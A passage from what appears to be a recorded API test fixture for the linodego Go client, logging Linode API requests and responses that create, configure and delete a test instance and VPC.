"Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5, 139.162.67.5, 139.162.68.5, 139.162.69.5, 139.162.70.5, 139.162.71.5, 139.162.72.5, 139.162.73.5, 139.162.74.5, 139.162.75.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}], "page": 1, "pages": 1, "results": 27}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"us-iad","type":"g6-nanode-1","label":"go-test-ins-wo-disk-k9j2j213z1pl","firewall_id":653635,"booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 61342488, "label": "go-test-ins-wo-disk-k9j2j213z1pl", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["172.234.37.179"], "ipv6": "1234::5678/128", "image": null, "region": "us-iad", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": true, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "725110a70f6844a09a3ecf82037979e86ac5576e", "has_user_data": false, "placement_group": null, "lke_cluster_id": null}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "785" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:01 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-5a6y6sx11z3n","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342488/configs method: POST response: body: '{"id": 64562053, "label": "go-test-conf-5a6y6sx11z3n", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "539" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-vpc-1720728782176352000","region":"us-iad","subnets":[{"label":"linodego-vpc-test-1720728782176526000","ipv4":"192.168.0.0/25"}]}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs method: POST response: body: '{"id": 74460, "label": "go-test-vpc-1720728782176352000", "description": "", "region": "us-iad", "subnets": [{"id": 72312, "label": "linodego-vpc-test-1720728782176526000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "365" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"go-test-conf-5a6y6sx11z3n","comments":"","devices":{},"helpers":{"updatedb_disabled":true,"distro":true,"modules_dep":true,"network":true,"devtmpfs_automount":true},"interfaces":[{"purpose":"public"},{"label":"testvlan","purpose":"vlan"},{"purpose":"vpc","subnet_id":72312,"ipv4":{"nat_1_1":"any"}}],"memory_limit":0,"kernel":"linode/latest-64bit","init_rd":null,"root_device":"/dev/sda","run_level":"default","virt_mode":"paravirt"}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342488/configs/64562053 method: PUT response: body: '{"id": 64562053, "label": "go-test-conf-5a6y6sx11z3n", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": [{"id": 1953864, "purpose": "public", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1953865, "purpose": "vlan", "primary": false, "active": false, "ipam_address": "", "label": "testvlan", "vpc_id": null, "subnet_id": null, "ipv4": null, "ipv6": null, "ip_ranges": null}, {"id": 1953866, "purpose": "vpc", "primary": false, "active": false, "ipam_address": null, "label": null, "vpc_id": 74460, "subnet_id": 72312, "ipv4": {"vpc": "192.168.0.2", "nat_1_1": "172.234.37.179"}, "ipv6": null, "ip_ranges": []}]}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74460/subnets/72312 method: GET response: body: '{"id": 72312, "label": "linodego-vpc-test-1720728782176526000", "ipv4": "192.168.0.0/25", "ipv6": null, "linodes": [{"id": 61342488, "interfaces": [{"id": 1953866, "active": false}]}], "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "252" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:02 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342488/ips method: GET response: body: '{"ipv4": {"public": [{"address": "172.234.37.179", "gateway": "172.234.37.1", "subnet_mask": "255.255.255.0", "prefix": 24, "type": "ipv4", "public": true, "rdns": "172-234-37-179.ip.linodeusercontent.com", "linode_id": 61342488, "region": "us-iad", "vpc_nat_1_1": {"vpc_id": 74460, "subnet_id": 72312, "address": "192.168.0.2"}}], "private": [], "shared": [], "reserved": [], "vpc": [{"address": "192.168.0.2", "address_range": null, "vpc_id": 74460, "subnet_id": 72312, "region": "us-iad", "linode_id": 61342488, "config_id": 64562053, "interface_id": 1953866, "active": false, "nat_1_1": "172.234.37.179", "gateway": "192.168.0.1", "prefix": 25, "subnet_mask": "255.255.255.128"}]}, "ipv6": {"slaac": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 61342488, "region": "us-iad", "public": true}, "link_local": {"address": "1234::5678", "gateway": "1234::5678", "subnet_mask": "1234::5678", "prefix": 64, "type": "ipv6", "rdns": null, "linode_id": 61342488, "region": "us-iad", "public": false}, "global": []}}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter - Accept-Encoding X-Accepted-Oauth-Scopes: - linodes:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/61342488 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/vpcs/74460 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Akamai-Internal-Account: - '*' Cache-Control: - max-age=0, no-cache, no-store Connection: - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Expires: - Thu, 11 Jul 2024 20:13:03 GMT Pragma: - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - vpc:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "400" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.47.0/test/integration/fixtures/TestVPC_Update.yaml000066400000000000000000000634331474652371000302530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions?page=1 method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, 172.105.11.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, 172.105.161.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, 172.233.111.9", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "gb-lon", "label": "London 2, UK", "country": "gb", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.0.46, 172.236.0.50, 172.236.0.47, 172.236.0.53, 172.236.0.52, 172.236.0.45, 172.236.0.49, 172.236.0.51, 172.236.0.54, 172.236.0.48", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "au-mel", "label": "Melbourne, AU", "country": "au", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.236.32.23, 172.236.32.35, 172.236.32.30, 172.236.32.28, 172.236.32.32, 172.236.32.33, 172.236.32.27, 172.236.32.37, 172.236.32.29, 172.236.32.34", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata", "Placement Group"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 